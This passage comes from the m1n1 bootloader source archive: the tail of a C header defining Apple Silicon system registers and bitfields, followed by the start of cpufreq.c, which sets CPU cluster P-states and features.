EHID4_DISABLE_HW_PREF_LD BIT(0) #define EHID4_DISABLE_HW_PREF_ST BIT(1) #define EHID4_DISABLE_SW_PRELOAD BIT(2) #define EHID4_DISABLE_ST_LD_REDIR_MULTI_HIT_CHK BIT(3) #define EHID4_FORCE_CPU_OLDEST_IN_ORDER BIT(4) #define EHID4_FORCE_S_STEP_STORE_COMMIT BIT(5) #define EHID4_FORCE_S_STEP_PASS2_TO_CIF BIT(6) #define EHID4_FORCE_ST_LNCH_NO_OLDER_LD BIT(7) #define EHID4_DISABLE_LD_RTR_AHEAD_OLDER_ST BIT(8) #define EHID4_DISABLE_SPEC_LS_REDIRECT BIT(9) #define EHID4_DISABLE_SPEC_LDREX_PLAN_B BIT(10) #define EHID4_DISABLE_DC_MVA BIT(11) #define EHID4_ENABLE_CORE_CLK_OBS_TO_SOC BIT(12) #define EHID4_RCC_FORCE_ALL_LSI_L6_CLKS_ON BIT(13) #define EHID4_RCC_FORCE_ALL_LSU_L3_CLKS_ON BIT(14) #define EHID4_RCC_DIS_STALL_INACTIVE_LSU_CTL BIT(15) #define EHID4_DISABLE_ANTI_LIVELOCK_ON_LOCK_VICTIMIZATION BIT(16) #define EHID4_CT0_ANTI_LIVELOCK_ON_LOCK_VICTIMIZATION(x) ((ULONG(x)) << 17) #define EHID4_CT0_ANTI_LIVELOCK_ON_LOCK_VICTIMIZATION_MASK GENMASK(19, 17) #define EHID4_CT1_ANTI_LIVELOCK_ON_LOCK_VICTIMIZATION(x) ((ULONG(x)) << 20) #define EHID4_CT1_ANTI_LIVELOCK_ON_LOCK_VICTIMIZATION_MASK GENMASK(22, 20) #define EHID4_CT2_ANTI_LIVELOCK_ON_LOCK_VICTIMIZATION(x) ((ULONG(x)) << 23) #define EHID4_CT2_ANTI_LIVELOCK_ON_LOCK_VICTIMIZATION_MASK GENMASK(25, 23) #define EHID4_CT0_ANTI_LIVELOCK_ON_OLDEST_LD_ST_REPLAY(x) ((ULONG(x)) << 26) #define EHID4_CT0_ANTI_LIVELOCK_ON_OLDEST_LD_ST_REPLAY_MASK GENMASK(28, 26) #define EHID4_CT0_ANTI_LIVELOCK_ON_LS_ISS_STALL_ON_LS_REPLAY(x) ((ULONG(x)) << 29) #define EHID4_CT0_ANTI_LIVELOCK_ON_LS_ISS_STALL_ON_LS_REPLAY_MASK GENMASK(31, 29) #define EHID4_DISABLE_HW_PREF_PG_CROSS BIT(32) #define EHID4_DISABLE_SPEC_LNCH_READ BIT(33) #define EHID4_FORCE_NS_ORD_LD_REQ_NO_OLDER_ST BIT(34) #define EHID4_RCC_FORCE_ALL_DC_DAT_L3_EN_ON BIT(35) #define EHID4_UNUSED_36 BIT(36) #define EHID4_FORCE_YNG_LD_FLUSH_ON_BAR_OP BIT(37) #define EHID4_FORCE_YNG_LD_FLUSH_ON_LD_ACQ BIT(38) #define EHID4_FORCE_NS_ORD_LD_REQ_NO_OLDER_LD BIT(39) #define EHID4_STNT_COUNTER_THRESHOLD(x) ((ULONG(x)) << 40) #define EHID4_STNT_COUNTER_THRESHOLD_MASK (3UL << 40) #define EHID4_DISABLE_HW_PREF_ZOMBIES BIT(40) #define EHID4_DISABLE_HW_PREF_ZOMBIES_LNCH_TO_CIF BIT(41) #define EHID4_FORCE_BAR_LNCH_NO_OLDER_ST BIT(42) #define EHID4_NON_ISA_FORCE_PROMOTE_WPT BIT(43) #define EHID4_DISABLE_DC_SW_L2_OPS BIT(44) #define EHID4_FORCE_NS_ORD_LD_REQ_NO_IN_PIPE_ORD_LD BIT(45) #define EHID4_ENABLE_LFSR_STALL_STQ_REPLAY BIT(48) #define EHID4_ENABLE_EN_LFSR_STALL_LDQ_REPLAY BIT(49) #define EHID4_ENABLE_LFSR_STALL_PASS2_LAUNCH BIT(50) #define EHID4_ENABLE_LFSR_STALL_LSRS1_ISSUE BIT(51) #define EHID4_ENABLE_LFSR_STALL_LSRS0_ISSUE BIT(52) #define EHID4_ENABLE_LFSR_STALL_STQ_RTR BIT(53) #define EHID4_ENABLE_LFSR_STALL_LDQ_RTR BIT(54) #define EHID4_ENABLE_LFSR_STALL_SMB_DRAIN BIT(55) #define EHID4_LFSR_SEED(x) (3UL << 56) #define EHID4_LFSR_SEED_MASK GENMASK(62, 56) #define EHID4_ENABLE_LFSR BIT(63) #define SYS_IMP_APL_HID5 sys_reg(3, 0, 15, 5, 0) #define HID5_BLZ_UNK_19_18_MASK GENMASK(19, 18) #define HID5_BLZ_UNK18 BIT(18) #define HID5_BLZ_UNK19 BIT(19) #define HID5_DISABLE_FILL_2C_MERGE BIT(61) #define SYS_IMP_APL_HID6 sys_reg(3, 0, 15, 6, 0) #define HID6_UP_CRD_TKN_INIT_C2(x) ((ULONG(x)) << 5) #define HID6_UP_CRD_TKN_INIT_C2_MASK (0x1FUL << 5) #define SYS_IMP_APL_HID7 sys_reg(3, 0, 15, 7, 0) #define HID7_FORCE_NONSPEC_IF_SPEC_FLUSH_POINTER_INVALID_AND_MP_VALID BIT(16) #define HID7_FORCE_NONSPEC_IF_STEPPING BIT(20) #define HID7_FORCE_NONSPEC_TARGET_TIMER_SEL(x) ((ULONG(x)) << 24) #define HID7_FORCE_NONSPEC_TARGET_TIMER_SEL_MASK (3UL << 24) #define SYS_IMP_APL_HID9 sys_reg(3, 0, 15, 9, 0) #define HID9_AVL_UNK17 BIT(17) #define HID9_TSO_ALLOW_DC_ZVA_WC BIT(26) #define HID9_TSO_SERIALIZE_VLD_MICROOPS BIT(29) #define HID9_FIX_BUG_51667805 BIT(48) #define HID9_FIX_BUG_55719865 BIT(55) #define SYS_IMP_APL_EHID9 sys_reg(3, 0, 15, 9, 1) #define EHID9_DEV_2_THROTTLE_ENABLE BIT(5) #define EHID9_DEV_2_THROTTLE_LIMIT_MASK GENMASK(11, 6) #define EHID9_DEV_2_THROTTLE_LIMIT(x) ((ULONG(x)) << 6) #define SYS_IMP_APL_HID10 sys_reg(3, 0, 15, 10, 0) #define SYS_IMP_APL_EHID10 sys_reg(3, 0, 15, 10, 1) #define HID10_FORCE_WAIT_STATE_DRAIN_UC BIT(32) #define HID10_DISABLE_ZVA_TEMPORAL_TSO BIT(49) #define SYS_IMP_APL_HID11 sys_reg(3, 0, 15, 11, 0) #define HID11_ENABLE_FIX_UC_55719865 BIT(15) #define HID11_DISABLE_LD_NT_WIDGET BIT(59) #define SYS_IMP_APL_HID12 sys_reg(3, 0, 15, 12, 0) #define SYS_IMP_APL_HID13 sys_reg(3, 0, 15, 14, 0) #define HID13_POST_OFF_CYCLES(x) ((ULONG(x))) #define HID13_POST_OFF_CYCLES_MASK GENMASK(6, 0) #define HID13_POST_ON_CYCLES(x) ((ULONG(x)) << 7) #define HID13_POST_ON_CYCLES_MASK GENMASK(13, 7) #define HID13_PRE_CYCLES(x) ((ULONG(x)) << 14) #define HID13_PRE_CYCLES_MASK GENMASK(17, 14) #define HID13_GROUP0_FF1_DELAY(x) ((ULONG(x)) << 26) #define HID13_GROUP0_FF1_DELAY_MASK GENMASK(29, 26) #define HID13_GROUP0_FF2_DELAY(x) ((ULONG(x)) << 30) #define HID13_GROUP0_FF2_DELAY_MASK GENMASK(33, 30) #define HID13_GROUP0_FF3_DELAY(x) ((ULONG(x)) << 34) #define HID13_GROUP0_FF3_DELAY_MASK GENMASK(37, 34) #define HID13_GROUP0_FF4_DELAY(x) ((ULONG(x)) << 38) #define HID13_GROUP0_FF4_DELAY_MASK GENMASK(41, 38) #define HID13_GROUP0_FF5_DELAY(x) ((ULONG(x)) << 42) #define HID13_GROUP0_FF5_DELAY_MASK GENMASK(45, 42) #define HID13_GROUP0_FF6_DELAY(x) ((ULONG(x)) << 46) #define HID13_GROUP0_FF6_DELAY_MASK GENMASK(49, 46) #define HID13_GROUP0_FF7_DELAY(x) ((ULONG(x)) << 50) #define HID13_GROUP0_FF7_DELAY_MASK GENMASK(53, 50) #define HID13_RESET_CYCLES(x) ((ULONG(x)) << 60) #define HID13_RESET_CYCLES_MASK (0xFUL << 60) #define SYS_IMP_APL_HID14 sys_reg(3, 0, 15, 15, 0) #define HID14_ENABLE_NEX_POWER_GATING BIT(32) #define SYS_IMP_APL_HID16 sys_reg(3, 0, 15, 15, 2) #define HID16_AVL_UNK12 BIT(12) #define HID16_SPAREBIT0 BIT(56) #define HID16_SPAREBIT3 BIT(59) #define HID16_ENABLE_MPX_PICK_45 BIT(61) #define HID16_ENABLE_MP_CYCLONE_7 BIT(62) #define SYS_IMP_APL_HID18 sys_reg(3, 0, 15, 11, 2) #define HID18_HVC_SPECULATION_DISABLE BIT(14) #define HID18_GEXIT_EL_SPECULATION_DISABLE BIT(27) #define HID18_GENTER_SPECULATION_DISABLE BIT(29) #define HID18_BTP_BRN_DISABLE BIT(39) #define HID18_PREF_REPLAY_DISABLE BIT(49) #define SYS_IMP_APL_EHID18 sys_reg(3, 0, 15, 11, 3) #define EHID18_BLZ_UNK34 BIT(34) #define SYS_IMP_APL_EHID20 sys_reg(3, 0, 15, 1, 2) #define EHID20_BLZ_DIS_HW_TRACE_SYNC_ON_UARCH_REDIR BIT(0) #define EHID20_BLZ_DIS_HW_TRACE_SYNC BIT(1) #define EHID20_BLZ_DIS_AMX_FUSION_ACROSS_GRP BIT(2) #define EHID20_BLZ_LSP_FORCE_SSBS_DEP BIT(3) #define EHID20_BLZ_FORCE_FP_SYNC_PRECISE_GRP_MODE BIT(4) #define EHID20_BLZ_DIS_DBG_PROG_OVRD BIT(5) #define EHID20_BLZ_CONSERVATIVE_SIQ BIT(6) #define EHID20_BLZ_FORCE_DMB_ON_ANY_TSO_ENTRY_EXIT BIT(7) #define EHID20_BLZ_DIS_SPEC_MDSB_INVL_ROB_FLUSH BIT(8) #define EHID20_BLZ_SPARE_9 BIT(9) #define EHID20_BLZ_DIS_MSR_SPEC_NON_DAIF BIT(10) #define EHID20_BLZ_DIS_MRS_SPEC_NON_DAIF BIT(11) #define EHID20_BLZ_FORCE_IEX_DISP_BIAS_MODE2 BIT(12) #define EHID20_BLZ_FORCE_NON_SPEC_IF_SPEC_FLUSH_PTR_INVALID_AND_MP_VALID BIT(13) #define EHID20_BLZ_DIS_SPEC_MDSB_UNTRUSTED_INVL_ROB_FLUSH BIT(14) #define EHID20_BLZ_FORCE_NON_SPEC_IF_NEXT_ROB_FLUSH_DISABLED BIT(15) #define EHID20_BLZ_FORCE_NON_SPEC_IF_OLDEST_REDIR_VLD_AND_OLDER BIT(16) #define EHID20_BLZ_FORCE_NON_SPEC_IF_SPEC_FLUSH_PTR_NE_BLK_RTR_PTR BIT(17) #define EHID20_BLZ_FORCE_NON_SPEC_IF_STEPPING BIT(18) #define EHID20_BLZ_FORCE_NON_SPEC_TIMER BIT(19) #define EHID20_BLZ_FORCE_NON_SPEC_TIMER_SEL(x) ((ULONG(x)) << 20) #define EHID20_BLZ_FORCE_NON_SPEC_TIMER_SEL_MASK GENMASK(21, 20) #define EHID20_BLZ_FORCE_NON_SPEC_TARGETED_TIMER_SEL(x) ((ULONG(x)) << 22) #define EHID20_BLZ_FORCE_NON_SPEC_TARGETED_TIMER_SEL_MASK GENMASK(23, 22) #define EHID20_BLZ_DIS_LD_CBZ_TBZ_FUSION BIT(24) #define EHID20_BLZ_DIS_CMP_CSEL_FUSION BIT(25) #define EHID20_BLZ_DIS_MULT_BR_RETIRE BIT(26) #define EHID20_BLZ_DIS_INT_FV_ODD_BANKS BIT(27) #define EHID20_BLZ_DIS_NEON_FV_ODD_BANKS BIT(28) #define EHID20_BLZ_MIN_REWIND_STALL(x) ((ULONG(x)) << 29) #define EHID20_BLZ_MIN_REWIND_STALL_MASK GENMASK(30, 29) #define EHID20_BLZ_SPARE_31 BIT(31) #define EHID20_BLZ_SPARE_32 BIT(32) #define EHID20_BLZ_SPARE_33 BIT(33) #define EHID20_BLZ_SPARE_34 BIT(34) #define EHID20_BLZ_SIQ_USE_MDR_BR_SYS_RSLV BIT(35) #define EHID20_BLZ_M_DSB_RESTART_IF_OLDER_REDIR BIT(36) #define EHID20_BLZ_ALWAYS_INCLUSIVE_EFAR_FLUSH BIT(37) #define EHID20_BLZ_UNTRUSTED_SNAPSHOT BIT(38) #define EHID20_BLZ_SPEC_MDSB_ASYNC_EXIT_STALL_FIX_DISABLE BIT(39) #define EHID20_BLZ_DIS_ITLB_PREF_FILL BIT(53) #define EHID20_BLZ_DIS_DMD_MERGE_PREF_FILL_FWD BIT(54) #define EHID20_BLZ_DISABLE_PWR_OPT BIT(55) #define EHID20_BLZ_INC_MISS_Q_WATER_MARK(x) ((ULONG(x)) << 56) #define EHID20_BLZ_INC_MISS_Q_WATER_MARK_MASK GENMASK(59, 56) #define EHID20_BLZ_DISABLE_IC_MISS_PERF_OPT BIT(60) #define EHID20_BLZ_DISABLE_ITLB_PREFETCH BIT(61) #define EHID20_BLZ_ENABLE_IC_TAG_CFM_PWR_OPT_ON_PAGE_BNDRY BIT(62) #define EHID20_BLZ_DISABLE_IC_TAG_CFM_PWR_OPT BIT(63) // Older cores, off by 1? #define EHID20_TRAP_SMC BIT(8) #define EHID20_FORCE_NONSPEC_IF_OLDEST_REDIR_VALID_AND_OLDER BIT(15) #define EHID20_FORCE_NONSPEC_IF_SPEC_FLUSH_POINTER_NE_BLK_RTR_POINTER BIT(16) #define EHID20_FORCE_NONSPEC_TARGETED_TIMER_SEL(x) ((ULONG(x)) << 21) #define EHID20_FORCE_NONSPEC_TARGETED_TIMER_SEL_MASK (3UL << 21) #define SYS_IMP_APL_HID21 sys_reg(3, 0, 15, 1, 3) // In 6031's, this is marked as "wfi_full_quis" #define HID21_ENABLE_LDREX_FILL_REPLY BIT(19) #define HID21_LDQ_RTR_WAIT_FOR_OLD_ST_REL_COMPLETION BIT(34) #define HID21_DISABLE_CDP_REPLY_PURGED_TRANSACTION BIT(35) #define HID21_PURGE_MMU_ON_ANY_SPR_SYNC BIT(52) #define SYS_IMP_APL_HID26 sys_reg(3, 0, 15, 0, 3) #define HID26_GROUP1_OFFSET(x) ((ULONG(x)) << 0) #define HID26_GROUP1_OFFSET_MASK (0xffUL << 0) #define HID26_GROUP2_OFFSET(x) ((ULONG(x)) << 36) #define HID26_GROUP2_OFFSET_MASK (0xffUL << 36) #define SYS_IMP_APL_HID27 sys_reg(3, 0, 15, 0, 4) #define HID27_GROUP3_OFFSET(x) ((ULONG(x)) << 8) #define HID27_GROUP3_OFFSET_MASK (0xffUL << 8) #define SYS_IMP_APL_PMCR0 sys_reg(3, 1, 15, 0, 0) #define PMCR0_CNT_EN_MASK (MASK(8) | GENMASK(33, 32)) #define PMCR0_IMODE_OFF (0 << 8) #define PMCR0_IMODE_PMI (1 << 8) #define PMCR0_IMODE_AIC (2 << 8) #define PMCR0_IMODE_HALT (3 << 8) #define PMCR0_IMODE_FIQ (4 << 8) #define PMCR0_IMODE_MASK (7 << 8) #define PMCR0_IACT (BIT(11)) #define PMCR0_PMI_SHIFT 12 #define PMCR0_CNT_MASK (PMCR0_CNT_EN_MASK | (PMCR0_CNT_EN_MASK << PMCR0_PMI_SHIFT)) #define SYS_IMP_APL_PMCR1 sys_reg(3, 1, 15, 1, 0) #define SYS_IMP_APL_PMCR2 sys_reg(3, 1, 15, 2, 0) #define SYS_IMP_APL_PMCR3 sys_reg(3, 1, 15, 3, 0) #define SYS_IMP_APL_PMCR4 sys_reg(3, 1, 15, 4, 0) #define SYS_IMP_APL_PMESR0 sys_reg(3, 1, 15, 5, 0) #define SYS_IMP_APL_PMESR1 sys_reg(3, 1, 15, 6, 0) #define SYS_IMP_APL_PMSR sys_reg(3, 1, 15, 13, 0) #define SYS_IMP_APL_PMC0 sys_reg(3, 2, 15, 0, 0) #define SYS_IMP_APL_PMC1 sys_reg(3, 2, 15, 1, 0) #define SYS_IMP_APL_PMC2 sys_reg(3, 2, 15, 2, 0) #define SYS_IMP_APL_PMC3 sys_reg(3, 2, 15, 3, 0) #define SYS_IMP_APL_PMC4 sys_reg(3, 2, 15, 4, 0) #define SYS_IMP_APL_PMC5 sys_reg(3, 2, 15, 5, 0) #define SYS_IMP_APL_PMC6 sys_reg(3, 2, 15, 6, 0) #define SYS_IMP_APL_PMC7 sys_reg(3, 2, 15, 7, 0) #define SYS_IMP_APL_PMC8 sys_reg(3, 2, 15, 9, 0) #define SYS_IMP_APL_PMC9 sys_reg(3, 2, 15, 10, 0) #define SYS_IMP_APL_LSU_ERR_STS sys_reg(3, 3, 15, 0, 0) #define SYS_IMP_APL_E_LSU_ERR_STS sys_reg(3, 3, 15, 2, 0) #define SYS_IMP_APL_L2C_ERR_STS sys_reg(3, 3, 15, 8, 0) #define L2C_ERR_STS_RECURSIVE_FAULT BIT(1) #define L2C_ERR_STS_ACCESS_FAULT BIT(7) #define L2C_ERR_STS_ENABLE_W1C BIT(56) #define SYS_IMP_APL_L2C_ERR_ADR sys_reg(3, 3, 15, 9, 0) #define SYS_IMP_APL_L2C_ERR_INF sys_reg(3, 3, 15, 10, 0) #define SYS_IMP_APL_FED_ERR_STS sys_reg(3, 4, 15, 0, 0) #define SYS_IMP_APL_E_FED_ERR_STS sys_reg(3, 4, 15, 0, 2) #define SYS_IMP_APL_SIQ_CFG_EL1 sys_reg(3, 4, 15, 10, 4) #define SYS_IMP_APL_MMU_ERR_STS sys_reg(3, 6, 15, 0, 0) #define SYS_IMP_APL_E_MMU_ERR_STS sys_reg(3, 6, 15, 2, 0) /* ACC/CYC Registers */ #define SYS_IMP_APL_ACC_CFG sys_reg(3, 5, 15, 4, 0) #define ACC_CFG_BP_SLEEP(x) ((ULONG(x)) << 2) #define ACC_CFG_BP_SLEEP_MASK (3UL << 2) #define SYS_IMP_APL_CYC_OVRD sys_reg(3, 5, 15, 5, 0) #define CYC_OVRD_FIQ_MODE(x) ((ULONG(x)) << 20) #define CYC_OVRD_FIQ_MODE_MASK (3UL << 20) #define CYC_OVRD_IRQ_MODE(x) ((ULONG(x)) << 22) #define CYC_OVRD_IRQ_MODE_MASK (3UL << 22) #define CYC_OVRD_WFI_MODE(x) ((ULONG(x)) << 24) #define CYC_OVRD_WFI_MODE_MASK (3UL << 24) #define CYC_OVRD_DISABLE_WFI_RET BIT(0) #define SYS_IMP_APL_ACC_OVRD sys_reg(3, 5, 15, 6, 0) #define ACC_OVRD_PRE_RESET_CLK_CNTS (ULONG(x)) #define ACC_OVRD_PRE_RESET_CLK_CNTS_MASK GENMASK(3, 0) #define ACC_OVRD_FRC_PSM_COND_L3_D_ON BIT(4) #define ACC_OVRD_SSB_DIVS_UPD_REQ (ULONG(x << 5)) #define ACC_OVRD_SSB_DIVS_UPD_REQ_MASK GENMASK(6, 5) #define ACC_OVRD_SSB_DIVS_SEL (ULONG(x << 7)) #define ACC_OVRD_SSB_DIVS_SEL_MASK GENMASK(8, 7) #define ACC_OVRD_DOM_CAN_BE_ON_IN_REF_CLK BIT(9) #define ACC_OVRD_HALT_LLC_BFR_RUN BIT(10) #define ACC_OVRD_DIS_TB_PUSH BIT(11) #define ACC_OVRD_MISR_EN BIT(12) #define ACC_OVRD_PWR_DN_SRM(x) ((ULONG(x)) << 13) #define ACC_OVRD_PWR_DN_SRM_MASK GENMASK(14, 13) #define ACC_OVRD_DIS_L2_FLUSH_ACC_SLEEP(x) ((ULONG(x)) << 15) #define ACC_OVRD_DIS_L2_FLUSH_ACC_SLEEP_MASK GENMASK(16, 15) #define ACC_OVRD_TRAIN_DOWN_LINK(x) ((ULONG(x)) << 17) #define ACC_OVRD_TRAIN_DOWN_LINK_MASK GENMASK(18, 17) #define ACC_OVRD_DVFM_SAFE_VOL BIT(19) #define ACC_OVRD_FRC_ZOUT_AMX_PWR_DN_TMR BIT(20) #define ACC_OVRD_RC_ACK_INTR_LOCK BIT(21) #define ACC_OVRD_CONVERT_SIQ_TO_IRQ BIT(22) #define ACC_OVRD_VOL_UPD_ACK(x) ((ULONG(x)) << 23) #define ACC_OVRD_VOL_UPD_ACK_MASK GENMASK(24, 23) #define ACC_OVRD_POWER_DOWN_CPM(x) ((ULONG(x)) << 25) #define ACC_OVRD_POWER_DOWN_CPM_MASK GENMASK(26, 25) #define ACC_OVRD_CPM_WAKE_UP(x) ((ULONG(x)) << 27) #define ACC_OVRD_CPM_WAKE_UP_MASK GENMASK(28, 27) #define ACC_OVRD_DISABLE_CLK_DTR BIT(29) #define ACC_OVRD_DISABLE_PSW_OFF_ABORT BIT(30) #define ACC_OVRD_RESET_CPM BIT(31) #define ACC_OVRD_DISABLE_PIO_ON_WFI_CPU BIT(32) #define ACC_OVRD_DEEP_SLEEP BIT(34) #define ACC_OVRD_C2_WAKE_UP BIT(35) #define ACC_OVRD_BYPASS_LLC_FLUSH_IF_EMPTY BIT(36) #define ACC_OVRD_DISABLE_RETENTION BIT(37) #define ACC_OVRD_DISABLE_NEXT_POWER_GATE BIT(38) #define ACC_OVRD_AP_SKEW_N_DELAY_CTL BIT(39) #define ACC_OVRD_DISABLE_C1_PPT_THROTTLE_0 BIT(40) #define ACC_OVRD_DISABLE_C1_PPT_THROTTLE_1 BIT(41) #define ACC_OVRD_REVERT_EMA_SEL_TO_H13 BIT(42) #define ACC_OVRD_DISABLE_SO_C_GLOBAL_TIME BIT(43) #define ACC_OVRD_QUIESCE_APSC_BEFORE_ACC_SLEEP BIT(44) #define ACC_OVRD_IVDM_CLK_ROOT_SEL BIT(45) #define ACC_OVRD_MA_WITHOUT_SW_POLLING BIT(46) #define ACC_OVRD_PMGR_UT_ADCLK_CODE ((ULONG(x)) << 47) #define ACC_OVRD_PMGR_UT_ADCLK_CODE_MASK GENMASK(50, 47) #define ACC_OVRD_PMGR_UT_DITHER_CODE ((ULONG(x)) << 51) #define ACC_OVRD_PMGR_UT_DITHER_CODE_MASK GENMASK(54, 51) #define ACC_OVRD_DIVS_UPD_ABRT_LIR BIT(55) #define ACC_OVRD_CNVT_INC_TO_FULL_UPD BIT(56) #define ACC_OVRD_DISABLE_DVTMF BIT(57) #define ACC_OVRD_SKIP_BIU_DI_VS_UPD_ON_FIX_FREQ_RECLOCK BIT(58) #define ACC_OVRD_PWR_UP_DN_CPU_AFTER_ANE_ACK BIT(59) #define ACC_OVRD_ANE_CLOCK_STOP_REF_COUNT ((ULONG(x)) << 60) #define ACC_OVRD_ANE_CLOCK_STOP_REF_COUNT_MASK GENMASK(61, 60) #define ACC_OVRD_SPR_OCLA_SEL ((ULONG(x)) << 62) #define ACC_OVRD_SPR_OCLA_SEL_MASK GENMASK(63, 62) #define SYS_IMP_APL_UPMCR0 sys_reg(3, 7, 15, 0, 4) #define UPMCR0_IMODE_OFF (0 << 16) #define UPMCR0_IMODE_AIC (2 << 16) #define UPMCR0_IMODE_HALT (3 << 16) #define UPMCR0_IMODE_FIQ (4 << 16) #define UPMCR0_IMODE_MASK (7 << 16) #define SYS_IMP_APL_UPMSR sys_reg(3, 7, 15, 6, 4) #define UPMSR_IACT (BIT(0)) /* SPRR and GXF registers */ #define SYS_IMP_APL_SPRR_CONFIG_EL1 sys_reg(3, 6, 15, 1, 0) #define SPRR_CONFIG_EN BIT(0) #define SPRR_CONFIG_LOCK_CONFIG BIT(1) #define SPRR_CONFIG_LOCK_PERM BIT(4) #define SPRR_CONFIG_LOCK_KERNEL_PERM BIT(5) #define SYS_IMP_APL_GXF_CONFIG_EL1 sys_reg(3, 6, 15, 1, 2) #define GXF_CONFIG_EN BIT(0) #define SYS_IMP_APL_GXF_STATUS_EL1 sys_reg(3, 6, 15, 8, 0) #define GXF_STATUS_GUARDED BIT(0) #define SYS_IMP_APL_GXF_ABORT_EL1 sys_reg(3, 6, 15, 8, 2) #define SYS_IMP_APL_GXF_ENTER_EL1 sys_reg(3, 6, 15, 8, 1) #define SYS_IMP_APL_GXF_ABORT_EL12 sys_reg(3, 6, 15, 15, 3) #define SYS_IMP_APL_GXF_ENTER_EL12 sys_reg(3, 6, 15, 15, 2) #define SYS_IMP_APL_SPRR_PERM_EL0 sys_reg(3, 6, 15, 1, 5) #define SYS_IMP_APL_SPRR_PERM_EL1 sys_reg(3, 6, 15, 1, 6) #define SYS_IMP_APL_SPRR_PERM_EL02 sys_reg(3, 4, 15, 5, 2) #define SYS_IMP_APL_SPRR_PERM_EL12 sys_reg(3, 6, 15, 15, 7) #define SYS_IMP_APL_TPIDR_GL1 sys_reg(3, 6, 15, 10, 1) #define SYS_IMP_APL_VBAR_GL1 sys_reg(3, 6, 15, 10, 2) #define SYS_IMP_APL_SPSR_GL1 sys_reg(3, 6, 15, 10, 3) #define SYS_IMP_APL_ASPSR_GL1 sys_reg(3, 6, 15, 10, 4) #define SYS_IMP_APL_ESR_GL1 sys_reg(3, 6, 15, 10, 5) #define SYS_IMP_APL_ELR_GL1 sys_reg(3, 6, 15, 10, 6) #define SYS_IMP_APL_FAR_GL1 sys_reg(3, 6, 15, 10, 7) #define SYS_IMP_APL_VBAR_GL12 sys_reg(3, 6, 15, 9, 2) #define SYS_IMP_APL_SPSR_GL12 sys_reg(3, 6, 15, 9, 3) #define SYS_IMP_APL_ASPSR_GL12 sys_reg(3, 6, 15, 9, 4) #define SYS_IMP_APL_ESR_GL12 sys_reg(3, 6, 15, 9, 5) #define SYS_IMP_APL_ELR_GL12 sys_reg(3, 6, 15, 9, 6) #define SYS_IMP_APL_SP_GL12 sys_reg(3, 6, 15, 10, 0) #define SYS_IMP_APL_AFSR1_GL1 sys_reg(3, 6, 15, 0, 1) /* PAuth registers */ #define SYS_IMP_APL_APVMKEYLO_EL2 sys_reg(3, 6, 15, 14, 4) #define SYS_IMP_APL_APVMKEYHI_EL2 sys_reg(3, 6, 15, 14, 5) #define SYS_IMP_APL_APSTS_EL12 sys_reg(3, 6, 15, 14, 7) #define SYS_IMP_APL_APCTL_EL1 sys_reg(3, 4, 15, 0, 4) #define SYS_IMP_APL_APCTL_EL2 sys_reg(3, 6, 15, 12, 2) #define SYS_IMP_APL_APCTL_EL12 sys_reg(3, 6, 15, 15, 0) /* VM registers */ #define SYS_IMP_APL_VM_TMR_FIQ_ENA_EL2 sys_reg(3, 5, 15, 1, 3) #define VM_TMR_FIQ_ENA_ENA_V BIT(0) #define VM_TMR_FIQ_ENA_ENA_P BIT(1) /* IPI registers */ #define SYS_IMP_APL_IPI_RR_LOCAL_EL1 sys_reg(3, 5, 15, 0, 0) #define SYS_IMP_APL_IPI_RR_GLOBAL_EL1 sys_reg(3, 5, 15, 0, 1) #define SYS_IMP_APL_IPI_SR_EL1 sys_reg(3, 5, 15, 1, 1) #define IPI_SR_PENDING BIT(0) #define SYS_IMP_APL_IPI_CR_EL1 sys_reg(3, 5, 15, 3, 1) /* Lockdown registers */ #define SYS_IMP_APL_SPR_LOCKDOWN_EL2 sys_reg(3, 4, 15, 0, 5) #define SYS_IMP_APL_SPR_LOCKDOWN_EL1 sys_reg(3, 4, 15, 0, 6) m1n1-1.4.11/src/cpufreq.c000066400000000000000000000216101453754430200147610ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "cpufreq.h" #include "adt.h" #include "firmware.h" #include "pmgr.h" #include "soc.h" #include "utils.h" #define CLUSTER_PSTATE 0x20020 #define CLUSTER_PSTATE_FIXED_FREQ_PLL_RECLOCK BIT(42) #define CLUSTER_PSTATE_BUSY BIT(31) #define CLUSTER_PSTATE_SET BIT(25) #define CLUSTER_PSTATE_M2_APSC_DIS BIT(23) #define CLUSTER_PSTATE_M1_APSC_DIS BIT(22) #define CLUSTER_PSTATE_UNK_M2 BIT(22) #define CLUSTER_PSTATE_UNK_M1 BIT(20) #define CLUSTER_PSTATE_DESIRED2 GENMASK(15, 12) #define CLUSTER_PSTATE_APSC_BUSY BIT(7) #define CLUSTER_PSTATE_DESIRED1 GENMASK(4, 0) #define CLUSTER_SWITCH_TIMEOUT 100 struct cluster_t { const char *name; u64 base; bool pcluster; uint32_t apsc_pstate; uint32_t default_pstate; }; struct feat_t { const char *name; u64 offset; u64 clear; u64 set; u64 wait; bool pcluster_only; }; static int set_pstate(const struct cluster_t *cluster, uint32_t pstate) { u64 val = read64(cluster->base + CLUSTER_PSTATE); if (FIELD_GET(CLUSTER_PSTATE_DESIRED1, val) != pstate) { val &= ~CLUSTER_PSTATE_DESIRED1; val |= CLUSTER_PSTATE_SET | FIELD_PREP(CLUSTER_PSTATE_DESIRED1, pstate); if (chip_id == T8103 || chip_id <= T6002) { val &= ~CLUSTER_PSTATE_DESIRED2; val |= CLUSTER_PSTATE_SET | FIELD_PREP(CLUSTER_PSTATE_DESIRED2, pstate); } write64(cluster->base + CLUSTER_PSTATE, val); if (poll32(cluster->base + CLUSTER_PSTATE, CLUSTER_PSTATE_BUSY, 0, CLUSTER_SWITCH_TIMEOUT) < 0) { printf("cpufreq: Timed out waiting for cluster %s P-State switch\n", cluster->name); return -1; } } return 0; } int cpufreq_init_cluster(const struct cluster_t *cluster, const struct feat_t *features) { /* Reset P-State to the APSC p-state */ if (cluster->apsc_pstate && set_pstate(cluster, cluster->apsc_pstate)) return -1; /* CPU complex features */ for (; features->name; features++) { if (features->pcluster_only && !cluster->pcluster) continue; u64 reg = cluster->base + features->offset; if (pmgr_get_feature(features->name)) mask64(reg, features->clear, features->set); else mask64(reg, features->set, features->clear); if (features->wait && poll32(reg, features->wait, 0, CLUSTER_SWITCH_TIMEOUT) < 0) { printf("cpufreq: Timed out waiting for feature %s on cluster %s\n", features->name, cluster->name); return -1; } } /* Unknown */ write64(cluster->base + 0x440f8, 1); /* Initialize APSC */ set64(cluster->base + 0x200f8, BIT(40)); switch (chip_id) { case T8103: { u64 lo = read64(cluster->base + 0x70000 + cluster->apsc_pstate * 0x20); u64 hi = read64(cluster->base + 0x70008 + cluster->apsc_pstate * 0x20); write64(cluster->base + 0x70210, lo); write64(cluster->base + 0x70218, hi); break; } 